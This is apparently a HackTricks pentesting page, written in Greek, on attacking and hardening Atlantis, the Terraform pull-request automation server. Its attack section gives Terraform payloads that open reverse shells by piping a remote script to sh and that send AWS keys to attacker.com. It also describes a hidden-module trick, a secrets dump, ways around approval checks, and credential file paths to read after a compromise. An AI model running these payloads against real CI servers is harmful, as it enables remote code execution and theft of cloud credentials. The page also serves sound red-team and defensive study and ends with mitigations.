Atlantis Security
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Atlantis βασικά σας βοηθά να εκτελείτε terraform από Pull Requests από τον git server σας.
.png)
Local Lab
- Πηγαίνετε στη σελίδα atlantis releases στο https://github.com/runatlantis/atlantis/releases και κατεβάστε την κατάλληλη για εσάς.
- Δημιουργήστε ένα προσωπικό token (με πρόσβαση σε repo) του χρήστη σας στο github.
- Εκτελέστε
./atlantis testdriveκαι θα δημιουργήσει ένα demo repo που μπορείτε να χρησιμοποιήσετε για να επικοινωνήσετε με το atlantis. - Μπορείτε να αποκτήσετε πρόσβαση στη σελίδα στον 127.0.0.1:4141.
Atlantis Access
Git Server Credentials
Atlantis υποστηρίζει αρκετούς git hosts όπως Github, Gitlab, Bitbucket και Azure DevOps.
Ωστόσο, για να αποκτήσετε πρόσβαση στα repos σε αυτές τις πλατφόρμες και να εκτελέσετε ενέργειες, χρειάζεται να έχει κάποιες παραχωρημένες προνομιακές πρόσβασεις (τουλάχιστον δικαιώματα εγγραφής).
Τα docs προτείνουν να δημιουργήσετε έναν χρήστη σε αυτές τις πλατφόρμες ειδικά για το Atlantis, αλλά κάποιοι άνθρωποι μπορεί να χρησιμοποιούν προσωπικούς λογαριασμούς.
Warning
Σε κάθε περίπτωση, από την οπτική γωνία ενός επιτιθέμενου, ο λογαριασμός Atlantis θα είναι πολύ ενδιαφέρον να παραβιαστεί.
Webhooks
Το Atlantis χρησιμοποιεί προαιρετικά Webhook secrets για να επιβεβαιώσει ότι τα webhooks που λαμβάνει από τον Git host σας είναι νόμιμα.
Ένας τρόπος για να το επιβεβαιώσετε αυτό θα ήταν να επιτρέψετε τις αιτήσεις να προέρχονται μόνο από τις IPs του Git host σας, αλλά ένας πιο εύκολος τρόπος είναι να χρησιμοποιήσετε ένα Webhook Secret.
Σημειώστε ότι εκτός αν χρησιμοποιείτε έναν ιδιωτικό server github ή bitbucket, θα χρειαστεί να εκθέσετε τα webhook endpoints στο Διαδίκτυο.
Warning
Το Atlantis θα εκθέτει webhooks ώστε ο git server να μπορεί να του στείλει πληροφορίες. Από την οπτική γωνία ενός επιτιθέμενου, θα ήταν ενδιαφέρον να γνωρίζει αν μπορείτε να του στείλετε μηνύματα.
Provider Credentials
Το Atlantis εκτελεί Terraform απλά εκτελώντας τις εντολές terraform plan και apply στον server στον οποίο φιλοξενείται το Atlantis. Ακριβώς όπως όταν εκτελείτε Terraform τοπικά, το Atlantis χρειάζεται διαπιστευτήρια για τον συγκεκριμένο πάροχο σας.
Είναι δική σας επιλογή πώς να παρέχετε διαπιστευτήρια για τον συγκεκριμένο πάροχο στο Atlantis:
- Το Atlantis Helm Chart και το AWS Fargate Module έχουν τους δικούς τους μηχανισμούς για τα διαπιστευτήρια παρόχου. Διαβάστε τα docs τους.
- Αν εκτελείτε το Atlantis σε ένα cloud, τότε πολλά clouds έχουν τρόπους να δώσουν πρόσβαση στο cloud API σε εφαρμογές που εκτελούνται σε αυτά, π.χ.:
- AWS EC2 Roles (Αναζητήστε “EC2 Role”)
- GCE Instance Service Accounts
- Πολλοί χρήστες ρυθμίζουν μεταβλητές περιβάλλοντος, π.χ.
AWS_ACCESS_KEY, όπου εκτελείται το Atlantis. - Άλλοι δημιουργούν τα απαραίτητα αρχεία ρυθμίσεων, π.χ.
~/.aws/credentials, όπου εκτελείται το Atlantis. - Χρησιμοποιήστε τον HashiCorp Vault Provider για να αποκτήσετε διαπιστευτήρια παρόχου.
Warning
Ο κοντέινερ όπου τρέχει το Atlantis θα περιέχει πιθανότατα προνομιακά διαπιστευτήρια για τους παρόχους (AWS, GCP, Github…) που διαχειρίζεται το Atlantis μέσω Terraform.
Web Page
Από προεπιλογή, το Atlantis θα εκτελεί μια ιστοσελίδα στην πόρτα 4141 στον localhost. Αυτή η σελίδα σας επιτρέπει απλά να ενεργοποιήσετε/απενεργοποιήσετε το atlantis apply και να ελέγξετε την κατάσταση του σχεδίου των repos και να τα ξεκλειδώσετε (δεν επιτρέπει να τροποποιήσετε πράγματα, οπότε δεν είναι και τόσο χρήσιμη).
Πιθανώς δεν θα τη βρείτε εκτεθειμένη στο διαδίκτυο, αλλά φαίνεται ότι από προεπιλογή δεν απαιτούνται διαπιστευτήρια για να αποκτήσετε πρόσβαση σε αυτήν (και αν απαιτούνται, atlantis:atlantis είναι οι προεπιλεγμένες).
Server Configuration
Η ρύθμιση για το atlantis server μπορεί να καθοριστεί μέσω σημαιών γραμμής εντολών, μεταβλητών περιβάλλοντος, αρχείου ρυθμίσεων ή ενός μείγματος των τριών.
- Μπορείτε να βρείτε εδώ τη λίστα με τις σημαίες που υποστηρίζει ο server του Atlantis.
- Μπορείτε να βρείτε εδώ πώς να μετατρέψετε μια επιλογή ρύθμισης σε env var.
Οι τιμές επιλέγονται με αυτή τη σειρά:
- Σημαίες
- Μεταβλητές Περιβάλλοντος
- Αρχείο Ρυθμίσεων
Warning
Σημειώστε ότι στη ρύθμιση μπορεί να βρείτε ενδιαφέρουσες τιμές όπως tokens και κωδικούς πρόσβασης.
Repos Configuration
Ορισμένες ρυθμίσεις επηρεάζουν πώς διαχειρίζονται τα repos. Ωστόσο, είναι πιθανό ότι κάθε repo απαιτεί διαφορετικές ρυθμίσεις, οπότε υπάρχουν τρόποι να καθορίσετε κάθε repo. Αυτή είναι η σειρά προτεραιότητας:
- Repo
/atlantis.ymlαρχείο. Αυτό το αρχείο μπορεί να χρησιμοποιηθεί για να καθορίσει πώς το atlantis θα πρέπει να αντιμετωπίζει το repo. Ωστόσο, από προεπιλογή, ορισμένα κλειδιά δεν μπορούν να καθοριστούν εδώ χωρίς κάποιες σημαίες που το επιτρέπουν. - Πιθανώς απαιτείται να επιτραπεί από σημαίες όπως
allowed_overridesήallow_custom_workflows. - Server Side Config: Μπορείτε να το περάσετε με τη σημαία
--repo-configκαι είναι ένα yaml που ρυθμίζει νέες ρυθμίσεις για κάθε repo (υποστηρίζονται regexes). - Προεπιλεγμένες τιμές.
PR Protections
Το Atlantis επιτρέπει να υποδείξετε αν θέλετε το PR να είναι approved από κάποιον άλλο (ακόμα και αν αυτό δεν έχει οριστεί στην προστασία του branch) και/ή να είναι mergeable (προστασίες branch περασμένες) πριν εκτελέσετε apply. Από την άποψη της ασφάλειας, η ρύθμιση και των δύο επιλογών είναι συνιστώμενη.
Σε περίπτωση που το allowed_overrides είναι True, αυτές οι ρυθμίσεις μπορούν να αντικατασταθούν σε κάθε έργο από το αρχείο /atlantis.yml.
Scripts
Η ρύθμιση του repo μπορεί να καθορίσει scripts για εκτέλεση πριν (pre workflow hooks) και μετά (post workflow hooks) από μια ροή εργασίας.
Δεν υπάρχει καμία επιλογή για να επιτρέψετε να καθορίσετε αυτά τα scripts στο repo /atlantis.yml αρχείο.
Workflow
Στη ρύθμιση του repo (server side config) μπορείτε να καθορίσετε μια νέα προεπιλεγμένη ροή εργασίας, ή να δημιουργήσετε νέες προσαρμοσμένες ροές εργασίας. Μπορείτε επίσης να καθορίσετε ποιες repos μπορούν να έχουν πρόσβαση στις νέες που δημιουργούνται.
Στη συνέχεια, μπορείτε να επιτρέψετε το αρχείο atlantis.yaml κάθε repo να καθορίσει τη ροή εργασίας που θα χρησιμοποιηθεί.
Caution
Αν η σημαία server side config
allow_custom_workflowsείναι ρυθμισμένη σε True, οι ροές εργασίας μπορούν να καθοριστούν στοatlantis.yamlαρχείο κάθε repo. Είναι επίσης πιθανώς απαραίτητο τοallowed_overridesνα καθορίζει επίσηςworkflowγια να αντικαταστήσει τη ροή εργασίας που θα χρησιμοποιηθεί.
Αυτό θα δώσει βασικά RCE στον server του Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το repo.# atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command
Conftest Policy Checking
Το Atlantis υποστηρίζει την εκτέλεση server-side conftest πολιτικών κατά της εξόδου του σχεδίου. Κοινές περιπτώσεις χρήσης για τη χρήση αυτού του βήματος περιλαμβάνουν:
- Απαγόρευση χρήσης μιας λίστας modules.
- Επιβεβαίωση χαρακτηριστικών ενός πόρου κατά τη διάρκεια της δημιουργίας.
- Ανίχνευση μη σκόπιμων διαγραφών πόρων.
- Πρόληψη κινδύνων ασφαλείας (π.χ. έκθεση ασφαλών θυρών στο κοινό).
Μπορείτε να ελέγξετε πώς να το ρυθμίσετε στα docs.
Atlantis Commands
Στα docs μπορείτε να βρείτε τις επιλογές που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε το Atlantis:
# Get help
atlantis help
# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options
# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
Επιθέσεις
Warning
Εάν κατά τη διάρκεια της εκμετάλλευσης βρείτε αυτό το σφάλμα:
Error: Error acquiring the state lock
Μπορείτε να το διορθώσετε εκτελώντας:
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
Atlantis plan RCE - Τροποποίηση ρυθμίσεων σε νέο PR
Αν έχετε δικαιώματα εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλάδο σε αυτό και να δημιουργήσετε ένα PR. Αν μπορείτε να εκτελέσετε atlantis plan (ή ίσως εκτελείται αυτόματα) θα μπορείτε να RCE μέσα στον διακομιστή Atlantis.
Μπορείτε να το κάνετε αυτό κάνοντάς το Atlantis να φορτώσει μια εξωτερική πηγή δεδομένων. Απλά τοποθετήστε ένα payload όπως το παρακάτω στο αρχείο main.tf:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Πιο Διακριτική Επίθεση
Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με πιο διακριτικό τρόπο, ακολουθώντας αυτές τις προτάσεις:
- Αντί να προσθέσετε το rev shell απευθείας στο αρχείο terraform, μπορείτε να φορτώσετε μια εξωτερική πηγή που περιέχει το rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Μπορείτε να βρείτε τον κώδικα rev shell στο https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- Στην εξωτερική πηγή, χρησιμοποιήστε τη λειτουργία ref για να κρύψετε τον κώδικα terraform rev shell σε ένα branch μέσα στο repo, κάτι σαν:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b - Αντί να δημιουργήσετε ένα PR στο master για να ενεργοποιήσετε το Atlantis, δημιουργήστε 2 branches (test1 και test2) και δημιουργήστε ένα PR από το ένα στο άλλο. Όταν ολοκληρώσετε την επίθεση, απλά αφαιρέστε το PR και τα branches.
Atlantis plan Secrets Dump
Μπορείτε να dump secrets που χρησιμοποιούνται από το terraform εκτελώντας atlantis plan (terraform plan) βάζοντας κάτι τέτοιο στο αρχείο terraform:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Atlantis apply RCE - Τροποποίηση ρυθμίσεων σε νέο PR
Αν έχετε δικαιώματα εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλάδο σε αυτό και να δημιουργήσετε ένα PR. Αν μπορείτε να εκτελέσετε atlantis apply, θα μπορείτε να κάνετε RCE μέσα στον διακομιστή Atlantis.
Ωστόσο, συνήθως θα χρειαστεί να παρακάμψετε κάποιες προστασίες:
- Mergeable: Αν αυτή η προστασία είναι ενεργοποιημένη στο Atlantis, μπορείτε να εκτελέσετε
atlantis applyμόνο αν το PR είναι mergeable (που σημαίνει ότι η προστασία του κλάδου πρέπει να παρακαμφθεί). - Ελέγξτε πιθανές παρακάμψεις προστασιών κλάδου
- Approved: Αν αυτή η προστασία είναι ενεργοποιημένη στο Atlantis, κάποιος άλλος χρήστης πρέπει να εγκρίνει το PR πριν μπορέσετε να εκτελέσετε
atlantis apply - Από προεπιλογή μπορείτε να εκμεταλλευτείτε το Gitbot token για να παρακάμψετε αυτή την προστασία
Εκτελώντας terraform apply σε ένα κακόβουλο αρχείο Terraform με local-exec.
Απλά πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο main.tf:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Ακολουθήστε τις προτάσεις από την προηγούμενη τεχνική για να εκτελέσετε αυτή την επίθεση με πιο διακριτικό τρόπο.
Terraform Param Injection
Όταν εκτελείτε atlantis plan ή atlantis apply, το terraform εκτελείται από κάτω, μπορείτε να περάσετε εντολές στο terraform από το atlantis σχολιάζοντας κάτι όπως:
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
Κάτι που μπορείτε να περάσετε είναι οι env μεταβλητές που μπορεί να είναι χρήσιμες για να παρακάμψετε κάποιες προστασίες. Ελέγξτε τις terraform env vars στο https://www.terraform.io/cli/config/environment-variables
Προσαρμοσμένη Ροή Εργασίας
Εκτέλεση κακόβουλων προσαρμοσμένων εντολών κατασκευής που καθορίζονται σε ένα αρχείο atlantis.yaml. Το Atlantis χρησιμοποιεί το αρχείο atlantis.yaml από το branch του pull request, όχι από το master.
Αυτή η δυνατότητα αναφέρθηκε σε προηγούμενη ενότητα:
Caution
Εάν η σημαία server side config
allow_custom_workflowsείναι ρυθμισμένη σε True, οι ροές εργασίας μπορούν να καθοριστούν στοatlantis.yamlαρχείο κάθε repo. Είναι επίσης πιθανό να χρειάζεται ηallowed_overridesνα καθορίζει επίσηςworkflowγια να παρακάμψει τη ροή εργασίας που πρόκειται να χρησιμοποιηθεί.Αυτό θα δώσει βασικά RCE στον διακομιστή Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το repo.
# atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command
Παράκαμψη προστασιών plan/apply
Εάν η σημαία server side config allowed_overrides έχει ρυθμιστεί apply_requirements, είναι δυνατό για ένα repo να τροποποιήσει τις προστασίες plan/apply για να τις παρακάμψει.
repos:
- id: /.*/
apply_requirements: []
PR Hijacking
Αν κάποιος στείλει atlantis plan/apply σχόλια στις έγκυρες αιτήσεις σας, θα προκαλέσει την εκτέλεση του terraform όταν δεν το θέλετε.
Επιπλέον, αν δεν έχετε ρυθμίσει στην προστασία κλάδου να ζητάτε επανεκτίμηση κάθε PR όταν προστεθεί μια νέα δέσμευση σε αυτό, κάποιος θα μπορούσε να γράψει κακόβουλες ρυθμίσεις (ελέγξτε τα προηγούμενα σενάρια) στην ρύθμιση του terraform, να εκτελέσει atlantis plan/apply και να αποκτήσει RCE.
Αυτή είναι η ρύθμιση στην προστασία κλάδων του Github:
.png)
Webhook Secret
Αν καταφέρετε να κλέψετε το webhook secret που χρησιμοποιείται ή αν δεν υπάρχει κανένα webhook secret που να χρησιμοποιείται, θα μπορούσατε να καλέσετε το webhook του Atlantis και να καλέσετε τις εντολές του atlantis απευθείας.
Bitbucket
Το Bitbucket Cloud δεν υποστηρίζει webhook secrets. Αυτό θα μπορούσε να επιτρέψει στους επιτιθέμενους να παραποιήσουν αιτήματα από το Bitbucket. Βεβαιωθείτε ότι επιτρέπετε μόνο τις διευθύνσεις IP του Bitbucket.
- Αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να κάνει ψευδείς αιτήσεις στο Atlantis που φαίνονται ότι προέρχονται από το Bitbucket.
- Αν καθορίζετε
--repo-allowlist, τότε θα μπορούσαν να παραποιήσουν μόνο αιτήματα που αφορούν σε αυτά τα αποθετήρια, οπότε η μεγαλύτερη ζημιά που θα μπορούσαν να προκαλέσουν θα ήταν να εκτελέσουν plan/apply στα δικά σας αποθετήρια. - Για να το αποτρέψετε, επιτρέψτε μόνο τις διευθύνσεις IP του Bitbucket (δείτε τις Εξόδους IPv4).
Post-Exploitation
Αν καταφέρατε να αποκτήσετε πρόσβαση στον διακομιστή ή τουλάχιστον έχετε LFI, υπάρχουν μερικά ενδιαφέροντα πράγματα που θα πρέπει να προσπαθήσετε να διαβάσετε:
/home/atlantis/.git-credentialsΠεριέχει διαπιστευτήρια πρόσβασης vcs/atlantis-data/atlantis.dbΠεριέχει διαπιστευτήρια πρόσβασης vcs με περισσότερες πληροφορίες/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstateΑρχείο κατάστασης του Terraform- Παράδειγμα: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environΜεταβλητές περιβάλλοντος/proc/[2-20]/cmdlineΓραμμή εντολών τουatlantis server(μπορεί να περιέχει ευαίσθητα δεδομένα)
Mitigations
Don’t Use On Public Repos
Επειδή οποιοσδήποτε μπορεί να σχολιάσει σε δημόσιες αιτήσεις, ακόμη και με όλες τις διαθέσιμες ρυθμίσεις ασφαλείας, είναι ακόμα επικίνδυνο να εκτελείτε το Atlantis σε δημόσια αποθετήρια χωρίς σωστή ρύθμιση των ρυθμίσεων ασφαλείας.
Don’t Use --allow-fork-prs
Αν εκτελείτε σε δημόσιο αποθετήριο (το οποίο δεν συνιστάται, δείτε παραπάνω), δεν θα πρέπει να ρυθμίσετε --allow-fork-prs (προεπιλογή false) γιατί οποιοσδήποτε μπορεί να ανοίξει μια αίτηση από το fork του στο αποθετήριο σας.
--repo-allowlist
Το Atlantis απαιτεί να καθορίσετε μια λίστα επιτρεπόμενων αποθετηρίων από τα οποία θα δέχεται webhooks μέσω της σημαίας --repo-allowlist. Για παράδειγμα:
- Συγκεκριμένα αποθετήρια:
--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests - Ολόκληρη η οργάνωσή σας:
--repo-allowlist=github.com/runatlantis/* - Κάθε αποθετήριο στην εγκατάσταση GitHub Enterprise σας:
--repo-allowlist=github.yourcompany.com/* - Όλα τα αποθετήρια:
--repo-allowlist=*. Χρήσιμο όταν βρίσκεστε σε προστατευμένο δίκτυο αλλά επικίνδυνο χωρίς επίσης να ρυθμίσετε ένα webhook secret.
Αυτή η σημαία διασφαλίζει ότι η εγκατάσταση του Atlantis σας δεν χρησιμοποιείται με αποθετήρια που δεν ελέγχετε. Δείτε atlantis server --help για περισσότερες λεπτομέρειες.
Protect Terraform Planning
Αν οι επιτιθέμενοι υποβάλλουν αιτήσεις με κακόβουλο κώδικα Terraform είναι στο μοντέλο απειλής σας, τότε πρέπει να είστε ενήμεροι ότι οι εγκρίσεις terraform apply δεν είναι αρκετές. Είναι δυνατόν να εκτελέσετε κακόβουλο κώδικα σε ένα terraform plan χρησιμοποιώντας την external data source ή καθορίζοντας έναν κακόβουλο πάροχο. Αυτός ο κώδικας θα μπορούσε στη συνέχεια να εξάγει τα διαπιστευτήριά σας.
Για να το αποτρέψετε, θα μπορούσατε να:
- Ψήνετε τους παρόχους στην εικόνα του Atlantis ή να τους φιλοξενείτε και να αρνείστε την έξοδο στην παραγωγή.
- Να εφαρμόσετε το πρωτόκολλο μητρώου παρόχων εσωτερικά και να αρνείστε την δημόσια έξοδο, έτσι ελέγχετε ποιος έχει δικαίωμα εγγραφής στο μητρώο.
- Να τροποποιήσετε τη ρύθμιση αποθετηρίου server-side του
planβήματος για να επικυρώσετε τη χρήση μη επιτρεπόμενων παρόχων ή πηγών δεδομένων ή PRs από μη επιτρεπόμενους χρήστες. Θα μπορούσατε επίσης να προσθέσετε επιπλέον επικύρωση σε αυτό το σημείο, π.χ. απαιτώντας ένα “thumbs-up” στην PR πριν επιτρέψετε την συνέχιση τουplan. Το Conftest θα μπορούσε να είναι χρήσιμο εδώ.
Webhook Secrets
Το Atlantis θα πρέπει να εκτελείται με ρυθμισμένα Webhook secrets μέσω των μεταβλητών περιβάλλοντος $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Ακόμη και με τη σημαία --repo-allowlist ρυθμισμένη, χωρίς ένα webhook secret, οι επιτιθέμενοι θα μπορούσαν να κάνουν αιτήματα στο Atlantis προσποιούμενοι ότι είναι ένα αποθετήριο που είναι στη λίστα επιτρεπόμενων. Τα Webhook secrets διασφαλίζουν ότι τα αιτήματα webhook προέρχονται πραγματικά από τον πάροχο VCS σας (GitHub ή GitLab).
Αν χρησιμοποιείτε Azure DevOps, αντί για webhook secrets προσθέστε ένα βασικό όνομα χρήστη και κωδικό πρόσβασης.
Azure DevOps Basic Authentication
Το Azure DevOps υποστηρίζει την αποστολή ενός βασικού επικεφαλίδας αυθεντικοποίησης σε όλα τα γεγονότα webhook. Αυτό απαιτεί τη χρήση μιας HTTPS διεύθυνσης URL για την τοποθεσία του webhook σας.
SSL/HTTPS
Αν χρησιμοποιείτε webhook secrets αλλά η κίνηση σας είναι μέσω HTTP, τότε τα webhook secrets θα μπορούσαν να κλαπούν. Ενεργοποιήστε το SSL/HTTPS χρησιμοποιώντας τις σημαίες --ssl-cert-file και --ssl-key-file.
Enable Authentication on Atlantis Web Server
Συνιστάται πολύ να ενεργοποιήσετε την αυθεντικοποίηση στην υπηρεσία ιστού. Ενεργοποιήστε το BasicAuth χρησιμοποιώντας τη σημαία --web-basic-auth=true και ρυθμίστε ένα όνομα χρήστη και έναν κωδικό πρόσβασης χρησιμοποιώντας τις σημαίες --web-username=yourUsername και --web-password=yourPassword.
Μπορείτε επίσης να περάσετε αυτά ως μεταβλητές περιβάλλοντος ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername και ATLANTIS_WEB_PASSWORD=yourPassword.
References
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

